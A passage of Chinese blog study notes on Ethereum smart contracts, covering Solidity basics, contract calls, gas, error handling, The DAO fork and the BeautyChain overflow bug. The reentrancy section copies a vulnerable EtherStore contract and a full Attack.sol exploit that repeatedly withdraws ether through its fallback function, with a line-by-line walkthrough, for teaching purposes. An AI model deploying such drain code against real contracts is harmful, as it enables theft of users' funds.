以太坊之九智能合约

狂风中的少年 提交于 2020-02-10 13:51:15

正在学习区块链,如果我哪里有错误希望大家指出,如果有任何想法也欢迎留言。这些笔记本身是在typora上写的,如果有显示不正确的敬请谅解。笔记本身也是给我自己写的,所以如果有侵权的请通知我,我立即删除。

9.智能合约

9.1 智能合约的定义

先说维基百科的吧,A smart contract is a computer protocol intended to digitally facilitate, verify, or enforce the negotiation or performance of a contract. Smart contracts allow the performance of credible transactions without third parties. These transactions are trackable and irreversible.

比如我借了钱给朋友,但是朋友可能不还我,就算我能够撕破脸起诉他,还是需要等法院的强制执行,这岂不很难受,作为一个去中心化的系统,这种合约如果能够到期自然执行,不依赖于法院、警察等任何第三方那就好了,这就是智能合约。

定义说完了,还是有点疑问,那智能合约如果跟现实社会发生了联系怎么办?比如我要定期交房租。这个需要进行软件进行配合,这种软件需要再开发。不过像那种定期借款的应该是没有问题的。

说一下我对外部账户和合约账户的理解。只有外部账户才能发起智能合约,外部账户就可以理解为和比特币一样的账户,而合约账户只能由智能合约进行操纵,也就保证了智能合约只能由代码进行操纵,而外部账户在生成只能合约的时候代码哈希就已经存上了,因此可以保证合约必须按照代码中写的那样执行。

9.2 类的结构

以太坊中智能合约用的是solidity语言,一种和js很像的面向对象的语言。下面以一个电子拍卖为例。

状态变量就是成员变量的意思,下面用到的数据类型有uint(即unsigned int),mapping(哈希,但是这solidity的哈希不能遍历,所以需要手动存储所有元素再遍历),address,数组(可动态大小可静态大小,下面是动态大小)。

log记录就是event函数,很明显是用来打log的。通过名字就很明显能看出来,第一个函数是每出现一个价格更高的竞拍者就打印一次日志,bidder是竞拍者的地址,amount是该竞拍者的金额。第二个函数是用于记录最高的竞拍者,winner就是获胜的竞拍者的地址,amount就是获胜者的金额。

构造函数就是构造函数,solidity可以使用C++那种函数名相同的构造函数,但是新版的solidity建议使用下面那种constructor的方式。构造就是构造,创建类即创建合约时会调用唯一调用一次。

成员函数就是该智能合约具体是如何操作以太币的。成员函数中有一个关键字是payable,表明要向该函数转账,例如下面的bid()函数,我要是想出价就要先把我出价的这部分以太币锁定,以证明我有这么多的钱,就相当于我向这个账户转账。而下面的withdraw()函数是指我没有竞拍成功,系统得把我的钱还给我,我并没有向函数中转钱,自然就没有必要加payable。如果没加,但是转账了就会抛出异常。

fallback()函数。如果有需要调用的函数,这些函数要存储在data域中。那如果有的人没在data域中写函数呢?或者输入的参数错误呢?得有个函数可执行的吧,就是这个默认函数。虽然叫fallback(),但是这个函数根本没有名字。当然,如果可能转账的话需要加上payable,一般也都是加的。

function() public [payable]{
......
}

![avatar][pic9.2-1]

9.3 智能合约的创建和运行

只有外部账户才能发起合约,合约账户是不行的。

如果是非智能合约,收款人写正常的收款人地址就可以,如果收款人写的0x00,则表示要创建的是一个智能合约。因为收款人是假的,所以金额也就写成0,不过汽油费是要照给的,只要执行智能合约的代码,汽油费就是要给的。合约的执行代码写在data域中,这个data域应该是交易树中每条交易的内容。为了增强可移植性,智能合约是运行在EVM上的。

9.4 智能合约的调用

外部账户可以调用智能合约(合约账户不可以),一个合约也可以调用另一个合约。

9.4.1 外部账户调用合约

外部账户在调用智能合约的时候其实就是创建一个交易,接收地址是待调用的智能合约的地址,data域表示要调用的函数及其参数的编码值。这个data域什么意思,我也不清楚。

SENDER ADDRESS 就是发起调用合约的人

TO CONTRACT ADDRESS是合约地址

value 转账的金额,说明这个不是为了转账,为了调用智能合约

GAS USED 花了多少汽油费

GAS PRICE 汽油费的单位价格

GAS LIMIT 最多愿意支付的汽油费

TX DATA 准备调用的函数和参数

avatar

9.4.2 合约调用合约:直接调用

avatar

很明显是B合约调用A合约。B的成员函数callAFooDirectly()中创建了A的实例,并调用了A的成员函数。其中LogCallFoo()是log打印函数,第6行emit函数仅为执行该log函数,所以例子中contract A其实什么都没干,只是打个比方。也可以通过.gas()或.value()调整提供gas数量或提供一些ETH。

9.4.3 合约调用合约:address类型的call()函数

![avatar][pic9.4.3-1]

call()函数的参数有两个,一个是要调用的函数的签名(签名就是哈希值,可以理解为函数值,毕竟我还没见过4位的哈希),是4个字节。其它参数扩展到32位,表示要调用函数的参数,也就是合约A中的参数str。

上面的例子相当于

A(addr).foo("call foo by func call")

返回布尔类型表示执行的结果。

也可以通过.gas()或.value()调整提供gas数量或提供一些ETH。

Q:直接调用

**直接调用:**因为相当于在B合约中直接执行A合约的函数,所以如果A合约如果出现了异常,B合约也会直接抛出异常,B合约也会因结束而回滚。

**call()函数:**这种方式如果A合约抛出了异常也不会导致C合约的回滚,只会让其继续进行。

9.4.4 合约调用合约:代理调用

delegatecall()函数的使用方法和call()函数类似,只是不能调用.value()成员函数。

Q:

**call()函数:**执行的时候需要切换到被调用的智能合约上下文中

delegatecall()函数:使用的代码是给定的地址(即A合约)中的,其它的属性,例如存储、余额等使用的是当前C合约的。这么做的目的是使用存储在另外一个合约中的库代码。

9.5 智能合约的工作过程

前面都是微观的,现在是宏观的。如果我想发起一个智能合约,我就要写好智能合约的代码,把这部分函数写入data域,收款人地址是0,转账金额是0,汽油费照给,矿工把这个合约写入区块链中就算结束了。接下来会有人调用这个智能合约,当然智能合约的状态是所有人都能看到的。

9.6 汽油费

既然智能合约是个图灵完备的模型,那出现了死循环怎么办,毕竟没有办法保证程序不会出现喜讯后。这个问题交给了合约的制定者,规定了每条指令所花费的金额,即汽油费。合约制定的时候会一次性扣掉GasLimit的汽油费,如果你的汽油费花光了但是程序还没执行结束,交易就会回滚。

不同指令所花费的汽油费是不一样的,加减乘除那种就很少,如果是取哈希那种虽然只有一条语句,但是汽油费就很贵,因为底层操作很复杂。

下面是汽油费相关的数据结构。

AccountNonce:交易的序号,防止发生replay attack

Price:单位汽油费的价格

GasLimit:可能花费的最大汽油费,所以GasLimit和Price的乘积就是全部的汽油费

Recipient:收款人的地址

Amount:转的金额

Payload:需要执行的可约的函数

![avatar][pic9.5-1]

9.7 错误处理

智能合约没有try-catch,如果出现了错误,没有特殊情况只会回滚。一共有三种语句可能造成回滚。

  • assert(bool condition):如果条件不满足就抛出——用于内部错误,和C语言的差不多
  • require(boll condition):如果条件不满足就跑掉——用于输入或外部组件引起的错误,比如拍卖已经结束了却还在出价,是不应该再有参数了
  • revert():终止运行并回滚状态变动——无条件抛出错误

9.8 可重入攻击

肖老师讲的我不是很理解,网上找的看懂了。
  直接用把网上的东西抄过来了。《干货 | Solidity 安全:已知攻击方法和常见防御模式综合列表,Part-1:可重入漏洞、算法上下溢出 » 论坛 » EthFans | 以太坊爱好者
  一句话来说就是当以太坊智能合约调用黑客合约向黑客回款的时候,以太坊智能合约却不会指定调用黑客的哪个的函数,导致自动调用黑客合约的callback()函数,而这个回调内部却是再次向以太坊合约取钱,这样就造成无限递归,不停的取钱。直至满足外部退出条件,比如以太坊合约中没钱了,或者汽油费没了等。我有问题的原因是,solidity语言和普通的语言有很大区别,普通语言,我给你转账,调用我自己写的函数就完了,但是solidity转账却是自动调用你的的fallback()函数,完了你的fallback()函数反过来还能调用我的函数。

下面是待攻击的智能合约。
EtherStore.sol:

contract EtherStore {
 
    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;
 
    function depositFunds() public payable {
        balances[msg.sender] += msg.value;
    }
 
    function withdrawFunds (uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit);
        // limit the time allowed to withdraw
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        require(msg.sender.call.value(_weiToWithdraw)());
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = now;
    }
}

该合约有两个公共职能。 depositFunds() 和 withdrawFunds() 。该 depositFunds() 功能只是增加发件人余额。该 withdrawFunds() 功能允许发件人指定要撤回的 wei 的数量。如果所要求的退出金额小于 1Ether 并且在上周没有发生撤回,它才会成功。额,真会是这样吗?…
  该漏洞出现在 [17] 行,我们向用户发送他们所要求的以太数量。考虑一个恶意攻击者创建下列合约。
Attack.sol:

import "EtherStore.sol";
 
contract Attack {
  EtherStore public etherStore;
 
  // intialise the etherStore variable with the contract address
  constructor(address _etherStoreAddress) {
      etherStore = EtherStore(_etherStoreAddress);
  }
 
  function pwnEtherStore() public payable {
      // attack to the nearest ether
      require(msg.value >= 1 ether);
      // send eth to the depositFunds() function
      etherStore.depositFunds.value(1 ether)();
      // start the magic
      etherStore.withdrawFunds(1 ether);
  }
 
  function collectEther() public {
      msg.sender.transfer(this.balance);
  }
 
  // fallback function - where the magic happens
  function () payable {
      if (etherStore.balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }
}

让我们看看这个恶意合约是如何利用我们的 EtherStore 合约的。攻击者可以(假定恶意合约地址为 0x0…123 )使用 EtherStore 合约地址作为构造函数参数来创建上述合约。这将初始化并将公共变量 etherStore 指向我们想要攻击的合约。

然后攻击者会调用这个 pwnEtherStore() 函数,并存入一些 Ehter(大于或等于1),比方说 1Ehter,在这个例子中。在这个例子中,我们假设一些其他用户已经将若干 Ehter 存入这份合约中,比方说它的当前余额就是 10 ether 。然后会发生以下情况:

  1. Attack.sol -Line [15] -EtherStore合约的 despoitFunds 函数将会被调用,并伴随 1Ether 的 mag.value(和大量的 Gas)。sender(msg.sender) 将是我们的恶意合约 (0x0…123) 。因此, balances[0x0…123] = 1 ether 。
  2. Attack.sol - Line [17] - 恶意合约将使用一个参数来调用合约的 withdrawFunds() 功能。这将通过所有要求(合约的行 [12] - [16] ),因为我们以前没有提款。
  3. EtherStore.sol - 行 [17] - 合约将发送 1Ether 回恶意合约。
  4. Attack.sol - Line [25] - 发送给恶意合约的 Ether 将执行 fallback 函数。
  5. Attack.sol - Line [26] - EtherStore 合约的总余额是 10Ether,现在是 9Ether,如果声明通过。
  6. Attack.sol - Line [27] - 回退函数然后再次动用 EtherStore 中的 withdrawFunds() 函数并“重入” EtherStore合约。
  7. EtherStore.sol - 行 [11] - 在第二次调用 withdrawFunds() 时,我们的余额仍然是 1Ether,因为 行[18] 尚未执行。因此,我们仍然有 balances[0x0…123] = 1 ether。lastWithdrawTime 变量也是这种情况。我们再次通过所有要求。
  8. EtherStore.sol - 行[17] - 我们撤回另外的 1Ether。
  9. 步骤4-8将重复 - 直到 EtherStore.balance >= 1,这是由 Attack.sol - Line [26] 所指定的。
  10. Attack.sol - Line [26] - 一旦在 EtherStore 合约中留下少于 1(或更少)的 Ether,此 if 语句将失败。这样 EtherStore 就会执行合约的 行[18]和 行[19](每次调用 withdrawFunds() 函数之后都会执行这两行)
  11. EtherStore.sol - 行[18]和[19] - balances 和 lastWithdrawTime 映射将被设置并且执行将结束。
      最终的结果是,攻击者只用一笔交易,便立即从 EtherStore 合约中取出了(除去 1 个 Ether 以外)所有的 Ether。

9.9 著名的THE DAO事件

THE DAO是一个非常著名的众筹合约,众筹的速度超级快,但是出现了一个bug,就是上面的可重入,黑客进行了攻击,盗走了约占总量10%的以太币,以太坊社区的人分成了两部分,一部分支持回滚,因为这属于让黑客偷了东西,以太坊开发者认为当时以太坊还在发展阶段,这么大量的以太币丢失,造成的后果不堪设想,而THE DAO属于那种大到不能倒的合约,保护它还是很有必要的。另一部分人认为这只是以太坊上的一个合约出了问题,就要回滚整个以太坊,不合适吧,那以后某些精英阶级要求回滚以太坊,还会再回滚?有第一次就有第二次。最后以太坊社区进行了投票,大多数人决定回滚。
  开始回滚吧。首先,用51%攻击的方法强行分叉是不行的。比如2月1日开始黑客攻击,现在2月5日,我把从2月1日往后所有的区块全部删掉是不行的,因为这段时间还有其它交易。
  那就换方法吧,以太坊加了一段代码,在以后打包交易的时候要求判断是不是THE DAO相关的交易,如果是就不允许打包。不过这又涉及到了新的问题——汽油费。这部分汽油费谁来交?以太坊代码中写的是不需要汽油费,导致矿工们不停被攻击,矿工们最后受不了了又换回原来的代码了。这个方法本来是个不错的软分叉,因为旧的代码会支持新代码生成的区块,但是新的代码却不一定支持旧的代码生成的区块。这个方法失败后留给以太坊研发人员的时间不多了,因为从THE DAO中把钱移到黑客合约中,黑客盗来的钱有29天的时间保存,过了这段时间就会转入黑客的账户。
  最后以太坊使用了最笨的方法——强行回滚硬分叉。锁定了THE DAO中全部的以太币,将它们全部转入一个新的账户,再进行重新分配。因为攻击的人可能不知10%的黑客一个人,所以光锁定黑客一个人的钱是没用的。这也就造成了以太坊和以太坊经典的产生。至于在分叉之前的钱能不能在以太坊和以太坊经典中花两遍,肖老师说用chanID来区分就行了,我没理解。如果我的账户既支持ETH也支持ETC,你用chanID为ETC的去东京买了东西,ETH上并没有显示,所以当你去希腊再用ETH买东西的时候,没人知道的。

9.10 beauty chain(美链)

先交代一下代币的背景。有的数字货币是以以太币为背书,有点类似于金本位发行货币,这个应该叫以太本位,例如一枚以太币和我这个币的汇率是1:100,这些过程全部都是通过智能合约处理和兑换的。来个图,说说那种代币出问题的原因:
avatar
  红框中amount是待扣掉的以太币,_value是用户实际拥有的以太币下面的.sub成员函数是删除掉以太币的操作,.add成员函数是增加代币的操作。问题很简单,amount溢出了,如果恰巧计算,可以实现不扣以太币,空手套白狼获得代币,当然汽油费还是要交的。导致这种代币的价格断崖式下跌。

9.11 Q&A

执行智能合约和挖矿尝试nonce应该先执行哪个

因为智能合约执行之后会修改状态树中的账户信息,所以必须要先正常执行智能合约再去挖矿。因为执行智能合约会消耗一定的资源,汽油费就是例子,那如果最后我挖不到矿,汽油费会有我的分成吗?很可惜没有。因为汽油费只会给最终发布区块的矿工。验证智能合约交易的过程也是很繁琐的,会不会有区块根本不验证而直接挖矿呢?不会,因为不验证就表明如果该区块是错误的,哪怕挖出了下一个正确的区块也没有办法正常发布,因为这不是最长合法链。

又有人要问了,那我如果不验证呢?管别人要结果呢?这不就跟矿池差不多了,而且要结果肯定没有自己算来得快。

智能合约执行失败的区块要加入链中吗

需要,不管是智能合约本身有问题还是汽油费不足,只要执行过的汽油费都是不退的,那矿工收到汽油费的证据也要保存起来,就是这个无效区块。大家也要检验一下你花掉的汽油费是否正确。
锁死在合约账户的以太币能取出来吗
  如果因为智能合约的代码有问题导致以太币被锁死在合约账户中,钱怎么办?答案是取不出来的。因为只有智能合约才能调用合约账户,而如果写入了区块链中就说明代码是改不了的。不可篡改的另一个意思是,不能改BUG了。那如果在定义智能合约的时候留一个后门的变量,加几个函数,可以有一个万能账户可以动合约账户的钱呢?这个管理员账号就很危险,因为这违背了去中心化的初衷,大家也是不会同意的。因此有的时候发币者会故意将刚刚开发出的币锁上3年,大家安心开发。
以太坊支持多线程吗

答案是不支持。solidity语言就没有支持多线程的语法,最基本的原因是经常会有验证的过程,既然是验证那就要保证不管执行多少次结果都是一样的,多线程可能造成结果不同。同样,任何可能造成结果不同的操作都是允许的,再比如随机数,所以前面的布隆过滤器用的伪随机数。

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!